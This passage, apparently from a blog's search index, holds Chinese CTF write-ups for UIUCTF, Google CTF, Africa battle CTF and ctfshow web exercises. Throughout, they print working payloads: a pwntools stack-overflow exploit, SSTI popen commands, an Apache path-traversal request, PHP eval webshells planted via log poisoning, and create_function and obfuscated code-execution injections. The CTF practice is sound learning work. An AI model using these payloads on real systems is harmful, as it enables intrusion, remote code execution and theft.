函数注册为模块的初始化函数。在模块加载时,该函数将被调用。\n~~~\n\n首先用`gzip -d pwnymodule.ko.gz`,然后用`insmod pwnymodule.ko`加载这个模块,加载完成后会输出第一串flag。\n\n~~~c\nstatic void __exit pwny_exit(void)\n{\n\tpr_info(\"%s\\n\", flag2);\n}\nmodule_exit(pwny_exit); #这行代码将 pwny_exit 函数注册为模块的退出函数。在模块被卸载时,该函数将被调用来执行清理操作。\n\n~~~\n\n这一串代码的意思是这个模块在被卸载的时候输出第二段flag,用`rmmod pwnymodule.ko`这个卸载模块,然后用`dmesg`输出内核的信息,在最后会输出两段flag。\n\n## vimjail1.5\n\n~~~sh\n#entry.sh\n#!/usr/bin/env sh\n\nvim -R -M -Z -u /home/user/vimrc\n\n~~~\n\n~~~\n#vimrc\nset nocompatible\nset insertmode\n\ninoremap <c-o> nope\ninoremap <c-l> nope\ninoremap <c-z> nope\ninoremap <c-\\> nope\n~~~\n\n别的没变,但是之前的方法没用了,用`ctrl+r`这个用于执行撤销和重做操作。然后用`=execute(readfile('flag.txt'))`\n\n`=` 是用于执行表达式的命令。`execute()`:`execute()` 函数用于执行 Vim 命令。`readfile('flag.txt')`:使用 Vim 的内置函数 `readfile()` 读取名为 `flag.txt` 的文件内容,并返回一个包含文件内容的列表。就是将flag.txt里面的内容变成命令执行,然后就会报错\n\n![](/pic/uiu/vim1.5.png)\n\n或者,用`=execute(':e flag.txt')`然后按两次回车。\n\n## vimjail2.5\n\n~~~\n#vimrc\nset nocompatible\nset insertmode\n\ninoremap <c-o> nope\ninoremap <c-l> nope\ninoremap <c-z> nope\ninoremap <c-\\> nope\n\ncnoremap a _\ncnoremap b _\ncnoremap c _\ncnoremap d _\ncnoremap e _\ncnoremap f _\ncnoremap g _\ncnoremap h _\ncnoremap i _\ncnoremap j _\ncnoremap k _\ncnoremap l _\ncnoremap m _\ncnoremap n _\ncnoremap o _\ncnoremap p _\ncnoremap r _\ncnoremap s _\ncnoremap t _\ncnoremap u _\ncnoremap v _\ncnoremap w _\ncnoremap x _\ncnoremap y _\ncnoremap z _\ncnoremap ! _\ncnoremap @ _\ncnoremap # _\ncnoremap $ _\ncnoremap % _\ncnoremap ^ _\ncnoremap & _\ncnoremap * _\ncnoremap - _\ncnoremap + _\ncnoremap = _\ncnoremap ` _\ncnoremap ~ _\ncnoremap { _\ncnoremap } _\ncnoremap [ _\ncnoremap ] _\ncnoremap \\| _\ncnoremap \\ _\ncnoremap ; _\ncnoremap < _\ncnoremap > _\ncnoremap , _\ncnoremap . _\ncnoremap / _\ncnoremap ? _\n\n~~~\n\n这个只能输入`:q`,方法基本上差不多,还是`ctrl+r`然后`=`,按`TAB`键可以补全内置代码,然后找到`execute`,最后的命令是`execute(\":q\")`,后会输出flag。\n\n# crypto\n\n## Three-Time Pad \n\nhttp://dann.com.br/alexctf2k17-crypto100-many_time_secrets/\n\n看这篇博客,用他的脚本可以解出这道题\n\n~~~python\n#!/usr/bin/python\n## OTP - Recovering the private key from a set of messages that were encrypted w/ the same private key (Many time pad attack) - crypto100-many_time_secret @ alexctf 2017\n# @author intrd - http://dann.com.br/ \n# Original code by jwomers: https://github.com/Jwomers/many-time-pad-attack/blob/master/attack.py)\n\nimport string\nimport collections\nimport sets, sys\n\n# 11 unknown ciphertexts (in hex format), all encrpyted with the same key\nc1 = \"14f5f95b4a252948a8aef177d6c92d82e3016362bd7463f41f40a00ad9e0ccad911b959ef8dfad5f1cc4481ecb64\"\nc2 = \"06e2f65a4c256d0ba8ada164cecd329cae436069f83476e91757e91bd4a4cce2c60a8f9aac8cb14210d55253cd787c0f6a\"\nc3 = \"03f9ea574c267249b2b1ef5d91cd3c99904a3f75873871e94157df0fcbb5d1eab94f9386\"\nciphers = [c1, c2, c3]\n# The target ciphertext we want to crack\ntarget_cipher = \"03f9ea574c267249b2b1ef5d91cd3c99904a3f75873871e94157df0fcbb5d1eab94f9386\"\n\n# XORs two string\ndef strxor(a, b): # xor two strings (trims the longer input)\n return \"\".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])\n\n# To store the final key\nfinal_key = [None]*150\n# To store the positions we know are broken\nknown_key_positions = set()\n\n# For each ciphertext\nfor current_index, ciphertext in enumerate(ciphers):\n\tcounter = collections.Counter()\n\t# for each other ciphertext\n\tfor index, ciphertext2 in enumerate(ciphers):\n\t\tif current_index != index: # don't xor a ciphertext with itself\n\t\t\tfor indexOfChar, char in enumerate(strxor(ciphertext.decode('hex'), ciphertext2.decode('hex'))): # Xor the two ciphertexts\n\t\t\t\t# If a character in the xored result is a alphanumeric character, it means there was probably a space character in one of the plaintexts (we don't know which one)\n\t\t\t\tif char in string.printable and char.isalpha(): counter[indexOfChar] += 1 # Increment the counter at this index\n\tknownSpaceIndexes = []\n\n\t# Loop through all positions where a space character was possible in the current_index cipher\n\tfor ind, val in counter.items():\n\t\t# If a space was found at least 7 times at this index out of the 9 possible XORS, then the space character was likely from the current_index cipher!\n\t\tif val >= 7: knownSpaceIndexes.append(ind)\n\t#print knownSpaceIndexes # Shows all the positions where we now know the key!\n\n\t# Now Xor the current_index with spaces, and at the knownSpaceIndexes positions we get the key back!\n\txor_with_spaces = strxor(ciphertext.decode('hex'),' '*150)\n\tfor index in knownSpaceIndexes:\n\t\t# Store the key's value at the correct position\n\t\tfinal_key[index] = xor_with_spaces[index].encode('hex')\n\t\t# Record that we known the key at this position\n\t\tknown_key_positions.add(index)\n\n# Construct a hex key from the currently known key, adding in '00' hex chars where we do not know (to make a complete hex string)\nfinal_key_hex = ''.join([val if val is not None else '00' for val in final_key])\n# Xor the currently known key with the target cipher\noutput = strxor(target_cipher.decode('hex'),final_key_hex.decode('hex'))\n\nprint \"Fix this sentence:\"\nprint ''.join([char if index in known_key_positions else '*' for index, char in enumerate(output)])+\"\\n\"\n\n# WAIT.. MANUAL STEP HERE \n# This output are printing a * if that character is not known yet\n# fix the missing characters like this: \"Let*M**k*ow if *o{*a\" = \"cure, Let Me know if you a\"\n# if is too hard, change the target_cipher to another one and try again\n# and we have our key to fix the entire text!\n\n#sys.exit(0) #comment and continue if u got a good key\n\ntarget_plaintext = \"printed on flammable material so that spies could\"\nprint \"Fixed:\"\nprint target_plaintext+\"\\n\"\n\nkey = strxor(target_cipher.decode('hex'),target_plaintext)\n\nprint \"Decrypted msg:\"\nfor cipher in ciphers:\n\tprint strxor(cipher.decode('hex'),key)\n\nprint \"\\nPrivate key recovered: \"+key+\"\\n\"\n~~~\n\n运行得到flag\n\n## At Home\n\n~~~python\n#chal.py\nfrom Crypto.Util.number import getRandomNBitInteger\n\nflag = int.from_bytes(b\"uiuctf{******************}\", \"big\")\n\na = getRandomNBitInteger(256)\nb = getRandomNBitInteger(256)\na_ = getRandomNBitInteger(256)\nb_ = getRandomNBitInteger(256)\n\nM = a * b - 1\ne = a_ * M + a\nd = b_ * M + b\n\nn = (e * d - 1) // M\n\nc = (flag * e) % n\n\nprint(f\"{e = }\")\nprint(f\"{n = }\")\nprint(f\"{c = }\")\n\n~~~\n\n~~~\ne = 359050389152821553416139581503505347057925208560451864426634100333116560422313639260283981496824920089789497818520105189684311823250795520058111763310428202654439351922361722731557743640799254622423104811120692862884666323623693713\nn = 26866112476805004406608209986673337296216833710860089901238432952384811714684404001885354052039112340209557226256650661186843726925958125334974412111471244462419577294051744141817411512295364953687829707132828973068538495834511391553765427956458757286710053986810998890293154443240352924460801124219510584689\nc = 67743374462448582107440168513687520434594529331821740737396116407928111043815084665002104196754020530469360539253323738935708414363005373458782041955450278954348306401542374309788938720659206881893349940765268153223129964864641817170395527170138553388816095842842667443210645457879043383345869\n~~~\n\n通过c=(flag*e)%n可得\n\n```\nc = (flag * e) % n\nc * e^-1 = (flag * e * e^-1) % n\nc * e^-1 = flag % n\n```\n\n~~~python\nfrom Crypto.Util.number import *\ne = 359050389152821553416139581503505347057925208560451864426634100333116560422313639260283981496824920089789497818520105189684311823250795520058111763310428202654439351922361722731557743640799254622423104811120692862884666323623693713\nn = 26866112476805004406608209986673337296216833710860089901238432952384811714684404001885354052039112340209557226256650661186843726925958125334974412111471244462419577294051744141817411512295364953687829707132828973068538495834511391553765427956458757286710053986810998890293154443240352924460801124219510584689\nc = 67743374462448582107440168513687520434594529331821740737396116407928111043815084665002104196754020530469360539253323738935708414363005373458782041955450278954348306401542374309788938720659206881893349940765268153223129964864641817170395527170138553388816095842842667443210645457879043383345869\nd=inverse(e,n)\nflag=(c*d)%n\nprint(long_to_bytes(flag))\n~~~\n\n# PWN\n\n## Chainmail \n\n一个基础的栈溢出,跳到give_flag的函数即可,但要注意的是在发送give_flag的地址之前要再给他发送一个`ret`的地址,否则会造成错误的对齐。`ret`的地址可以用`ROPgadget `找,命令:`ROPgadget --binary chal --only 'ret'`。\n\nexp:\n\n~~~python\nfrom pwn import *\na = remote(\"chainmail.chal.uiuc.tf\", 1337)\npayload=b'a'*72 +p64(0x40101a) + p64(0x401216)\na.sendline(payload)\na.interactive()\n~~~\n\n# WEB\n\n## peanut-xss\n\nXSS学的不是很好,具体怎么解可以看下面的文章:\n\nhttps://hackmd.io/@Solderet/UIUCTF-2023-peanut-xss\n","tags":["ctf"],"categories":["ctf"]},{"title":"Google-CTF2023","url":"/2023/06/29/Google-CTF2023/","content":"\n# MISC\n\n## PAPAPAPA\n\n下载下来附件是一张全白的图片,通过修改jpg的宽高获得flag\n\n![](/pic/googlectf/papapa.png)\n\n从`FF`到`01`中间,修改成`FF C0 00 11 08 02 00 02 10 03 01 31 00 02 31 01 03 31 01`\n\n右边就是flag\n\n# WEB\n\n## UNDER-CONSTRUCTION\n\n给了一个flask和一个php的服务,没有办法ssti注入\n\n~~~php\nfunction getResponse()\n{\n if (!isset($_POST['username']) || !isset($_POST['password'])) {\n return NULL;\n }\n\n $username = $_POST['username'];\n $password = $_POST['password'];\n\n if (!is_string($username) || !is_string($password)) {\n return \"Please provide username and password as string\";\n }\n\n $tier = getUserTier($username, $password);\n\n if ($tier === NULL) {\n return \"Invalid credentials\";\n }\n\n $response = \"Login successful. Welcome \" . htmlspecialchars($username) . \".\";\n\n if ($tier === \"gold\") {\n $response .= \" \" . getenv(\"FLAG\");\n }\n\n return $response;\n}\n~~~\n\n通过代码分析,在php的服务上,只要让`tier=gold`就输出flag。\n\n可以在注册账号的时候传两个tier。\n\nflask识别第一个tier,php识别第二个tier,注册完后在php服务登录得到falg。\n\n\n\n\n\n其他的太难了,看都看不懂\n\nhttp://blog.xmcve.com/2023/06/26/Google-CTF-2023-Writeup/\n\n可以看这个\n","tags":["ctf"],"categories":["ctf","复盘"]},{"title":"Africa battle CTF","url":"/2023/06/26/Africa-battle-CTF/","content":"\n# WEB\n\n## Civilization\n\n```php\n<?php\nrequire(\"./flag.php\");\nif(isset($_GET['source'])){\n highlight_file(__FILE__); \n}\nif(isset($_GET['ami'])){\n $input = $_GET['ami'];\n $cigar = 'africacradlecivilization';\n if (preg_replace(\"/$cigar/\",'',$input) === $cigar) {\n africa();\n }\n}\ninclude(\"home.html\");\n?> \n```\n\n?source得到这个,这个只用双写就可以绕过。\n\npayload:\n\n~~~\n?ami=africacradlecafricacradlecivilizationivilization\n~~~\n\n## Cobalt Injection \t\t\t\t\t\n\n在源代码里有\n\n`<!-- IP?capital=Benin -->`\n\n![](/pic/Africa/8085.png)\n\n可知存在ssti模板注入。没有过滤。\n\npayload:\n\n~~~\n?capital={{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag.txt').read()}}\n~~~\n\n当然看别人的WP,要长脑子了\n\n~~~\n?capital={{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}\n~~~\n\n#request.application:表示当前请求的应用程序对象。\n\n~~~\n?capital={{().__class__.__base__.__subclasses__()[354]('cat flag.txt', shell=True, stdout=-1).communicate()[0].strip()}}\n~~~\n\n这个还没搞明白,搞明白了再回来修改。\n\n## Fâ\n\n访问?source\n\n~~~php\n<?php\n include(\"flag.php\");\n\n if(isset($_GET['source'])){\n highlight_file(__FILE__);\n }\n \n class africa {\n var $boknn;\n var $du;\n }\n \n if (isset($_GET['fa'])) {\n $vodoo = $_GET['fa'];\n \n $fa = unserialize($vodoo);\n \n if ($fa) {\n $fa->du=$flag;\n if ($fa->du === $fa->boknn)\n echo \"Congratulation! You've got the best interpretation: <b>\".$fa->du.\"</b>\";\n else\n echo \"Oh no...\";\n }\n else echo \"you dey smoke igbo?\";\n }\n include(\"home.html\");\n\n?> \n~~~\n\n反序列化,只要将传入的fa值和$du相等就可以输出flag。\n\npayload:\n\n~~~\n?fa=O:6:\"africa\":2:{s:5:\"boknn\";N;s:2:\"du\";R:2;}\n~~~\n\n其中,boknn的值为NULL,du的值通过R引用了编号为2的值,\n\n![](/pic/Africa/8084.png)\n\nboknn的编号就为2。\n\n具体的可以看:https://wiki.wgpsec.org/knowledge/ctf/php-serialize.html\n\n## Own reality \t\t\t\t\t\n\n真是让我长见识了。\n\n首先是.git泄露\n\n用wget将网站下载下来\n\n `wget http://chall.battlectf.online:8082/.git/ -mirror\n\n使用 `--mirror` 选项你可以下载整个站点,包括它的目录结构。\n\n然后用git reflog查看历史版本,之后用git cherry-pick '你想要恢复的'\n\n会出来一个flag.txt,尾部有\n\n~~~\n.__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._\n~~~\n\n二进制转换为字符就是flag\n\n## It shock you \t\t\t\t\t\n\n先用whatweb看网站,\n\n![](/pic/Africa\\8083.1.png)\n\n可以看到apache的版本,去网上找相对应的漏洞能找到,目录穿越\n\nPOC:\n\n~~~\n\nGET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/flag.txt HTTP/1.1\nHost: chall.battlectf.online:8083\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nCookie: PHPSESSID=6ae53a7d294917d5fdac2db41c97b477\nUpgrade-Insecure-Requests: 1\nIf-Modified-Since: Tue, 06 Jun 2023 14:53:49 GMT\nIf-None-Match: \"b6d-5fd772fd55940\"\n\n~~~\n\n## Africa\n\n`Warning: This site is only for africa people.`\n\n在bp中将`User-Agent`改为`africa`\n\n` Warning: Go away! Attacker! This page is only for local client!`\n\n用`X-Forwarded-For`伪造127.0.0.1\n\n`Warning: I don't trust users who are not from battlectf.online`\n\n用`Referer`绕过得到flag。\n\n# Crypto\n\n## Back To Origin\n\n埃及象形文\n\nhttps://girlstart.org/wp-content/uploads/2020/05/Decoding-Hieroglyphics.pdf\n\n可以参考上面的链接\n\n## Blind\n\nhttps://gchq.github.io/CyberChef/\n\n首先是`magic`解码,然后 `braille`,解码得到flag\n\n## ROCYOU\n\n`factordb`和`yafu`分解不出来,看别人的博客知道有`ROCA漏洞`,可以从公钥中提取私钥\n\n工具:\n\nhttps://gitlab.com/parfaittolefo23/astuces-et-write-up-ctf/-/blob/main/Tools/neca\n\n一开始运行要给权限\n\n![](/pic/Africa/rock.png)\n\n可以用在线的rsa解密工具:https://www.dcode.fr/chiffre-rsa\n\n~~~\np=127801155916875524149457561567678575565270601000365665873572024750823913157383\nq=113917064871970833547038329106470040388258358281464605006613652518914797349747\n~~~\n\n## goose\n\n首先给了5个随机数,然后将falg的每个字符通过`res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)`进行加密。\n\nflag的前几个字符是知道的,可以列方程组计算一下a,b,c,d,e的值\n\n~~~\n184473632*a+941192*b+9604*c+98*d+1*e=1245115057305148164\n177058562*a+912673*b+9409*c+97*d+1*e=1195140205147730541\n362127872*a+1560896*b+13456*c+116*d+1*e=2441940832124642988\n362127872*a+1560896*b+13456*c+116*d+1*e=2441940832124642988\n272097792*a+1259712*b+11664*c+108*d+1*e=1835524676869638124\n208120802*a+1030301*b+10201*c+101*d+1*e=1404473868033353193\n~~~\n\n解得:\n\n~~~\na=6709636436\nb=7748795321\nc=7386429784\nd=62359624\ne=5008041292\n~~~\n\n然后写代码爆破:\n\n~~~python\nflag = ''\na=6709636436\nb=7748795321\nc=7386429784\nd=62359624\ne=5008041292\ntab=[1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]\n\ndef encrypt(x):\n return (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)\nfor val in tab:\n for i in range(32,126):\n if(encrypt(chr(i))==val):\n flag+=chr(i)\n print(flag)\n\n~~~\n\n\n\n# RE\n\n## seyi\n\nida64位打开,flag在getshell里面。\n\n## welcome\n\n![](/pic/Africa/welcome.png)\n\n重点就是这个,\n\nadd就是加,\n\nxor就是异或。\n\n很简单的一个表达式。\n\n~~~python\nfrom Crypto.Util.number import *\na = 0x522D1B20F6\nb = 0x1EE2EEEE\nc = a+b\nd = 0x0AA84AAA\nflag = c^d\nflag = long_to_bytes(flag)\nprint(flag)\n~~~\n\n## Infinity\n\n![](/pic/Africa/in.png)\n\n找到汇编代码里所有的push,然后将值转换一下\n\n~~~python\nfrom pwn import *\na=\t[p64(0x5F4F7572),\n\tp64(0x6C654354),\n\tp64(0x467B4265),\n\tp64(0x796F6E64),\n\tp64(0x62617474),\n\tp64(0x47616C61),\n\tp64(0x7869657D)]\nfor c in a:\n\tprint(c)\n\n~~~\n\n~~~\nb'ruO_\\x00\\x00\\x00\\x00'\nb'TCel\\x00\\x00\\x00\\x00'\nb'eB{F\\x00\\x00\\x00\\x00'\nb'dnoy\\x00\\x00\\x00\\x00'\nb'ttab\\x00\\x00\\x00\\x00'\nb'alaG\\x00\\x00\\x00\\x00'\nb'}eix\\x00\\x00\\x00\\x00'\n~~~\n\n然后将这些反转一下删掉多余的东西\n\n~~~\n_Our\nleCT\nF{Be\nbatt\nGala\nxie}\nyond\n~~~\n\n最后将这些拼接一下,`battleCTF{Beyond_OurGalaxie} `。\n\n## babyrev\n\n用ida打开,查询字符串能发现`qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}`,然后凯撒解密得到flag\n\n## checker\n\n和上一题基本上差不多\n\n`gfyyqjHYK{Flg4_d0z_i3d_xr0p3_1lg0?}`然后凯撒解密\n\n","tags":["ctf"],"categories":["ctf","复盘"]},{"title":"ctfshow web入门126~150","url":"/2023/03/18/ctfshow-web入门126/","content":"# web126\n与web125差不多\n~~~\nget: a=1+fl0g=flag_give_me\npost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])\n~~~\n# web127\n绕过方式和web123一样。\npayload:\n~~~\n?ctf show=ilove36d\n~~~\n# web128\n![](/pic/128.png)\n考察点:gettext拓展的使用\n在开启该拓展后 _() 等效于 gettext()\npayload:\n~~~\n?f1=_&f2=get_defined_vars\n~~~\n# web129\n![](/pic/129.png)\n~~~\nstripos(string,find,start)\n返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE。注释:字符串位置从0开始,不是从1开始\n~~~\n看别人的wp绕过的姿势有很多啊,但是怎么一到我这里就失灵了啊。只能用php伪协议\npayload:\n~~~\n?f=php://filter/|ctfshow/resource=flag.php #也可以用其他的过滤器\n~~~\n# web130\n![](/pic/130.png)\n[PHP利用PCRE回溯次数限制绕过某些安全限制](https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html)\n~~~\nimport requests\n\nurl='#url'\ndata={\n 'f':'a'*1000000+'ctfshow'\n}\nr=requests.post(url=url,data=data).text\nprint(r)\n~~~\n或者\n数组绕过\n~~~\nf[]=1 #stripos应用于数组的时候会返回null,null!==false\n~~~\n或者\n~~~\nf=ctfshow\n~~~\n/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。\n# web131\n~~~\nimport requests\n\nurl='#url'\ndata={\n 'f':'a'*1000000+'36Dctfshow'\n}\nr=requests.post(url=url,data=data).text\nprint(r)\n~~~\n# web132\n![](/pic/132.png)\n一打开网站我都惊呆了,好高级的感觉。然后访问robots.txt有/admin访问就能看到源码。\n![](/pic/132.1.png)\n啊~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n这一题好简单啊。\n~~~\n$code === mt_rand(1,0x36D) && $password === $flag\n~~~\n只要让这个为false,username=admin和code=admin就行\npayload:\n~~~\n?username=admin&code=admin&password=1\n~~~\n# web134\n![](/pic/134.png)\nparse_str()函数\n~~~\n把查询字符解析到变量\n~~~\nectract()函数\n~~~\n从数组中将变量导入当前的符号表\n~~~\n~~~\nphp变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。\n~~~\n~~~\n四个变量的介绍:\n\n1.$_SERVER[\"QUERY_STRING\"]\n\n说明:查询(query)的字符串\n\n2.$_SERVER[\"REQUEST_URI\"]\n\n说明:访问此页面所需的URI\n \n3.$_SERVER[\"SCRIPT_NAME\"]\n\n说明:包含当前脚本的路径\n \n4.$_SERVER[\"PHP_SELF\"]\n~~~\n例如\n~~~\nhttp://www.xxx.com/?p=222 (附带查询)\n结果:\n$_SERVER[\"QUERY_STRING\"]==>“p=222”;\n\n$_SERVER[\"REQUEST_URI\"] ==>\"/?p=222\";\n\n$_SERVER[\"SCRIPT_NAME\"] ==>\"/index.php\";\n\n$_SERVER[\"PHP_SELF\"] ==>\"/index.php\";\n~~~\npayload:\n~~~\n?_POST[key1]=36d&_POST[key2]=36d\n~~~\n# web136\n![](/pic/136.png)\n跟着大佬学到了好多啊\n在linux里可以用tee命令读取标准输入的数据,并将其内容输出成文件\npayload:\n~~~\n?c=ls /|tee 1 #把根目录里的内容写进1文件里\n?c=tac /f149_15_h3r3|tee 2\n~~~\n# web137\n![](/pic/137.png)\n~~~\ncall_user_func — 把第一个参数作为回调函数调用\n~~~\n考察调用类中的函数\n~~~\nphp中 ->与:: 调用类中的成员的区别\n->用于动态语境处理某个类的某个实例\n::可以调用一个静态的、不依赖于其他初始化的类方法.\n~~~\npayload:\n~~~\nPOST:ctfshow=ctfshow::getFlag\n~~~\n# web138\n![](/pic/138.png)\n相当于把冒号禁用了,但是call_user_func还可以传数组\n第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。\npayload:\n~~~\nPOST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag\n~~~\n# web139\n太难了,脚本看不懂,以后有机会了再做\n# web140\n![](/pic/140.png)\n可以看到只要我们让intval($code)为0就可以了\nintval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0\n所以方法就挺多了\n![](/pic/140.1.png)\npayload:\n~~~\nf1=chr&f2=chr\n~~~\n我感觉随便搞一点函数放上去都可以。\n# web141\n![](/pic/141.png)\n传入的v3必须是非单词字符\n[无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)](https://blog.csdn.net/miuzzx/article/details/109143413)\npayload:\n~~~\n?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-\n~~~\n# web142\n![](/pic/142.png)\nemmmmmmmmmmmm,让我太奶来都会做\npayload:\n~~~\n?v1=0\n~~~\n# web143\n![](/pic/143.png)\n~~~\n?v1=1&v3=*(\"%0c%06%0c%0b%05%0d\"^\"%7f%7f%7f%7f%60%60\")(\"%0b%01%03%00%06%00\"^\"%7f%60%60%20%60%2a\")*&v2=1\n~~~\n# web144\n![](/pic/144.png)\n对v3的长度进行了限制,所以在v2上下手\npayload:\n~~~\n?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1\n~~~\n# web145\n![](/pic/145.png)\n可以用三目运算符\n~~~\neval(\"return 1?phpinfo():1;\"); #这是可以运行的\n~~~\npayload:\n~~~\n?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):\n~~~\n# web146\n过滤了:没办法用三目运算符,可以用等号和位运算符\\\n~~~\neval(\"return 1==phpinfo()||1;\"); #这也可以运行\n~~~\npayload:\n~~~\n?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||\n~~~\n# web147\n![](/pic/147.png)\n[具体原理看这个](https://paper.seebug.org/755/)\n~~~\ncreate_function('$a','echo $a.\"123\"')\n\n类似于\n\nfunction f($a) {\n echo $a.\"123\";\n}\n~~~\npayload:\n~~~\nGET:?show=}system(\"tac flag.php\");/*\nPOST:ctf=\\create_function\n~~~\n# web148\n![](/pic/148.png)\n没过滤异或还可以用异或\npayload:\n~~~\n?code=(\"%08%02%08%09%05%0d\"^\"%7b%7b%7b%7d%60%60\")(\"%09%01%03%01%06%0c%01%07%01%0b%08%0b\"^\"%7d%60%60%21%60%60%60%60%2f%7b%60%7b\");\n~~~\n# web149\n![](/pic/149.png)\n预期解是条件竞争,可是我搞了半天也不行,就直接在index.php里改了\npayload:\n~~~\nGET: ?ctf=index.php\nPOST: show=<?php @eval($_POST[a];)?>\n~~~\n然后用蚁剑连接。\n# web150\n~~~\ninclude(\"flag.php\");\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nclass CTFSHOW{\n private $username;\n private $password;\n private $vip;\n private $secret;\n\n function __construct(){\n $this->vip = 0;\n $this->secret = $flag;\n }\n\n function __destruct(){\n echo $this->secret;\n }\n\n public function isVIP(){\n return $this->vip?TRUE:FALSE;\n }\n }\n\n function __autoload($class){\n if(isset($class)){\n $class();\n }\n}\n\n#过滤字符\n$key = $_SERVER['QUERY_STRING'];\nif(preg_match('/\\_| |\\[|\\]|\\?/', $key)){\n die(\"error\");\n}\n$ctf = $_POST['ctf'];\nextract($_GET);\nif(class_exists($__CTFSHOW__)){\n echo \"class is exists!\";\n}\n\nif($isVIP && strrpos($ctf, \":\")===FALSE){\n include($ctf);\n} \n~~~\n非预期\n日志文件包含写一句话\n修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。\n首先访问index.php 修改user_agent为<?php eval($_POST['a']);?>\n![](/pic/150.png)\n\n","tags":["ctfshow","刷题","php特性"],"categories":["ctfshow","刷题","php特性"]},{"title":"ctfshow web入门110~125","url":"/2023/03/17/ctfshow-web入门110/","content":"# web110\n![](/pic/110.png)\n考察FilesystemIterator。getcwd()函数 获取当前工作目录 返回当前工作目录。\npayload:\n~~~\n?v1=FilesystemIterator&v2=getcwd\n~~~\n缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。\n<!--more-->\n# web111\n![](/pic/111.png)\n考察 全局变量GLOBALS\n![](/pic/111.1.png)\n要执行这一段函数,v1要等于ctfshow\n~~~\nif(preg_match('/ctfshow/', $v1)){\n getFlag($v1,$v2);\n } \n~~~\n然后再将v2的值赋给v1,再接着getFlag函数,打印v1,v1为全局变量的时候,即可打印出flag。\npayload:\n~~~\n?v1=ctfshow&v2=GLOBALS\n~~~\n# web112\n![](/pic/112.png)\npayload:\n~~~\nphp://filter/resource=flag.php\nphp://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php\nphp://filter/read=convert.quoted-printable-encode/resource=flag.php\ncompress.zlib://flag.php\n~~~\n[php://filter的各种过滤器](https://blog.csdn.net/qq_44657899/article/details/109300335)\n# web113\n![](/pic/113.png)\npayload:\n可以用zlib伪协议\n~~~\n?file=compress.zlib://flag.php\n~~~\n也可以用/proc/self/root\n~~~\n?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p\nroc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro\nc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/\nself/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se\nlf/root/proc/self/root/var/www/html/flag.php\n~~~\n[proc目录的应用](https://blog.csdn.net/cosmoslin/article/details/122660083)\n![](/pic/114.png)\ncompress,和非预期都被禁了,但是伪协议放出来了,可以直接使用伪协议读\npayload:\n~~~\n?file=php://filter/resource=flag.php\n~~~\n# 